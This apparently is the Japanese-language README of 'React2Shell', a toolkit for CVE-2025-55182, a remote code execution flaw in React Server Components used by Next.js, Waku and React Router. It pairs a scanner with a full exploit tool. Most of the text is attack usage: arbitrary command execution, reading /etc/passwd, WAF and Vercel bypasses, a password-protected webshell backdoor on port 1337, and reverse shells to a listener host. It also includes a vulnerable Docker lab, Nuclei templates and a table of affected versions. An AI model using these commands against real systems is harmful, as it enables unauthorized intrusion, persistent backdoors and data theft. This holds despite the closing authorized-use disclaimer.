
CVE-2025-55182 セキュリティテストキット: CLI scanner + Chrome extension + Nuclei templates + Docker lab.
CVE-2025-55182 Scanner & Exploit Toolkit for Next.js/React Server Components RCE.
React2Shell/
├── browser-extension/ # Chrome拡張機能(ブラウザベースの検出)
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # コマンドラインスキャナー&エクスプロイトツール
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # 学習向けドキュメント
│ ├── README.md # 学習パスのインデックス
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # テスト用Dockerラボ環境
│ ├── vulnerable/ # 脆弱なNext.jsアプリ(React 19.2.0)
│ ├── patched/ # 修正済みNext.jsアプリ(React 19.2.1)
│ ├── waf/ # ModSecurity WAFコンテナ
│ ├── waku-app/ # 脆弱なWakuアプリ(React 19.2.0)
│ ├── react-router-app/ # 脆弱なReact Routerアプリ(React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nucleiテンプレート
├── CVE-2025-55182.yaml # RCE検出(コード実行)
└── CVE-2025-55182-safe.yaml # 安全なサイドチャネル検出
cd cli
pip install -r requirements.txt
# ターゲットをスキャン
python react2shell.py https://target.com
# コマンド実行
python react2shell.py https://target.com -c "id"
# インタラクティブシェル
python react2shell.py https://target.com -i
chrome://extensions/ を開くbrowser-extension ディレクトリを選択cd lab
docker-compose up -d
# 悪用可能なターゲット:
# Next.js 脆弱: http://localhost:3011 ← 完全なRCE
# Waku 脆弱: http://localhost:3014 ← RCE(ブラインド - HTTP出力なし)
# React Router: http://localhost:3015 ← 完全なRCE(ESM)
# 保護されたターゲット:
# Next.js 修正済み: http://localhost:3012 ← 安全
# WAF 保護: http://localhost:3013 ← ModSecurityがエクスプロイトをブロック
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) - ターゲットのフレームワークを自動検出-E) - RSCエンドポイントを自動発見-c) - 任意のコマンドを実行-i) - 持続的なコマンドセッション-r) - 複数タイプ: nc, bash, perl, python, ruby--webshell) - 持続的なバックドアのインストール-f) - リモートファイルを直接読み取り-L) - package.jsonをチェックして脆弱なバージョンを特定-w)、Unicodeエンコード (-u)、Vercel固有 (-V)-x) - Burp Suiteなどのプロキシ経由でルーティング-s) - コード実行なしのサイドチャネル検出browser-extension/)lab/)/RSC/F/{x}/{y}.txt パス形式が必要process.getBuiltinModule() を使用した完全なRCE# 基本スキャン(フレームワークを自動検出)
python react2shell.py https://target.com
# フレームワークを検出し、エンドポイントを列挙
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# 異なるフレームワークでコマンド実行
python react2shell.py https://target.com -c "id" # Next.js(自動)
python react2shell.py https://target.com -F waku -c "id" # Waku(ブラインドRCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router(ESM)
# ラボでの例(出力あり)
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# すべてのWAFバイパスを使用してコマンド実行
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# プロキシ経由でインタラクティブシェル
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# インメモリウェブシェルのインストール(ポート1337にバックドアを作成)
python react2shell.py https://target.com --webshell mypassword
# アクセス: curl 'http://target:1337/?p=mypassword&cmd=id'
# リバースシェル
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# ローカルプロジェクトの脆弱なバージョンをスキャン
python react2shell.py -L /path/to/project
# バッチスキャン(出力付き)
python react2shell.py targets.txt -t 20 -o results.json -v
実行オプション:
-c, --cmd 実行するコマンド
-i, --interactive インタラクティブシェルセッション
-r, --reverse リバースシェルモード
-l, --lhost リスナーホスト
-p, --lport リスナーポート
-S, --shell-type シェルタイプ(nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file リモートファイルを読み取る
スキャンオプション:
-P, --path テストするパス(カンマ区切りまたはファイル)
-t, --threads スレッド数(デフォルト: 10)
-T, --timeout リクエストタイムアウト(秒)(デフォルト: 10)
-s, --safe セーフモード(コード実行なし)
-L, --local ローカルプロジェクトディレクトリをスキャン
-F, --framework ターゲットフレームワーク(auto, nextjs, waku, react-router, expo)
-E, --enumerate エクスプロイト前にRSCエンドポイントを列挙
--detect フレームワークのみ検出し、エンドポイントを一覧表示
--webshell ポート1337にインメモリウェブシェルをインストール
--rce RCE概念実証モード(デフォルト: セーフモード)
バイパスオプション:
-w, --waf-bypass ジャンクデータパディング
-W, --waf-size ジャンクサイズ(KB)(デフォルト: 128)
-u, --unicode Unicodeエンコーディングによるバイパス
-V, --vercel-bypass Vercel固有のバイパス
--windows Windows PowerShellペイロード
リクエストオプション:
-x, --proxy プロキシURL(例: http://127.0.0.1:8080)
-H, --header カスタムヘッダー
-A, --user-agent カスタムUser-Agent
-k, --insecure SSL検証を無効化
出力オプション:
-o, --output 結果をJSONに保存
-v, --verbose バージョン検出を含む詳細出力
-q, --quiet 脆弱なターゲットのみ表示
--no-color 色を無効化
--no-banner バナーを非表示
| フィールド | 値 |
|---|---|
| CVSS | 10.0(Critical) |
| 影響 | 認証不要のリモートコード実行 |
| 影響を受ける対象 | 脆弱なReactバージョンを使用するすべてのRSCフレームワーク |
| メカニズム | React Flight Protocolを介したプロトタイプ汚染 |
| フレームワーク | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.2.1+ |
| Next.js | 14.0.0 - 15.4.7 | 15.4.8+ |
| Waku | < 0.27.2 | 0.27.2+ |
| React Router | 7.0.0 - 7.5.0(RSCプレビュー) | 7.5.1+ |
| Expo | 実験的なRSC | Reactの更新 |
| @vitejs/plugin-rsc | 脆弱なReactを使用するすべてのバージョン | Reactの更新 |
| @parcel/rsc | 脆弱なReactを使用するすべてのバージョン | Reactの更新 |
| RedwoodJS(rwsdk) | 脆弱なReactを使用するすべてのバージョン | Reactの更新 |
このツールキットは認可されたセキュリティテスト専用です。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。
CVE-2025-55182 | CVSS 10.0 | 認可されたセキュリティテスト専用